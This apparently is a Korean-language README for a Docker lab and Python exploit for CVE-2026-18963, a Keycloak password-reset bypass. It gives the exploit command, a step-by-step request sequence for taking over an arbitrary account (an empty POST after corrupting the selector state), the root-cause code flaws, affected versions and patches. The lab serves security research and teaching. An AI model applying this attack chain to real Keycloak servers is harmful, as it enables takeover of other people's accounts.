
CVE-2026-18963에 대한 Docker 기반 실습 환경 및 Python 익스플로잇으로, 이메일 인증 우회를 통해 계정 탈취를 가능하게 하는 Keycloak 비밀번호 재설정 흐름 우회 취약점입니다.
Keycloak의 CVE-2026-18963 (CVSS 9.1) 취약점을 시뮬레이션하는 Lab으로, 공격자가 비밀번호 재설정 흐름에서 이메일 검증을 우회하여 임의의 계정을 탈취할 수 있게 합니다.
보안 연구 및 교육 목적으로만 사용하십시오.
docker-compose up -d
Keycloak이 시작될 때까지 기다립니다 (~30-60초).
pip install -r requirements.txt
python setup-lab.py
스크립트가 생성하는 항목:
vuln-labvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
옵션:
-u / --url: Keycloak URL (기본값: http://127.0.0.1:8080)-r / --realm: Realm 이름 (기본값: vuln-lab)-t / --target: 대상 사용자 이름 (기본값: victim)-p / --password: 새 비밀번호 (기본값: Pwned123!)-v / --verbose: 디버그 출력 활성화MailHog UI: http://127.0.0.1:8025 — exploit 과정에서 발송된 reset-password 이메일을 확인합니다.
docker-compose down -v
Keycloak의 두 가지 결함이 결합되어 공격 체인을 형성합니다:
결함 1 — Selector 상태 손상 (DefaultAuthenticationFlow.java):
사용자가 "Try Another Way"를 클릭하면, auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED가
execution model ID 대신 "true" (불리언 문자열)로 저장됩니다. "true" 값은
특정 execution에 바인딩되지 않으므로 flow 내 단계 전반에 걸쳐 지속되어,
selector가 잘못된 컨텍스트를 표시하게 만듭니다.
결함 2 — 무조건적 action 성공 (ResetCredentialEmail.java):
ResetCredentialEmail의 action() 메서드는 action token을 확인하지 않고
무조건 context.success()를 호출합니다. 정상적으로 action()은 사용자가
이메일의 링크를 클릭할 때(action token 보유)만 호출됩니다. 그러나 selector가
손상되면 공격자는 flow processing을 통해 action()을 직접 트리거할 수 있습니다.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. auth session 초기화
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. reset flow로 이동
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. selector 상태 손상
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. selector를 통해 username 전송
│<── "Check your email" page ────────│ 이메일 발송, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. reset flow 재진입
│<── Corrupted selector (!!!) ───────│ processFlow()가 SELECTOR="true" 확인
│ │ → email 단계에 selector 표시
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: action() 트리거
│<── 302 → UPDATE_PASSWORD ─────────│ processAction()이 form에서
│ │ authenticationExecution을 찾지 못함
│─── GET /required-action ──────────>│ → action() 분기로 진입
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (무조건적!)
│ │ → flow가 ResetPassword로 전환
│ │
│─── POST password-new=Pwned! ──────>│ 7. 새 비밀번호 설정
│<── 302 → /account/ ──────────────│ Account takeover 완료
│ │
└── 새 비밀번호로 로그인 ─────────────┘
DefaultAuthenticationFlow.processAction()에서 POST를 수신할 때:
tryAnotherWay 확인 → 없음 (빈 form)authenticationExecution 확인 → 없음 (빈 form)authenticator.action(result) 호출URL에 execution=<email_exec_id> (selector form action에서 유래)가 포함되어
있으므로, ResetCredentialEmail.action()이 호출됨 → context.success() 반환 →
flow가 ResetPassword로 전환 → 비밀번호 설정 form 표시.
| 제품 | 영향받음 | 패치됨 |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow()가 Boolean.parseBoolean() 대신 selector.equals(lastExecutionId) 확인removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action()이 context.success() 호출 전에 ACTION_TOKEN_USER_ID 확인context.failure(INVALID_USER)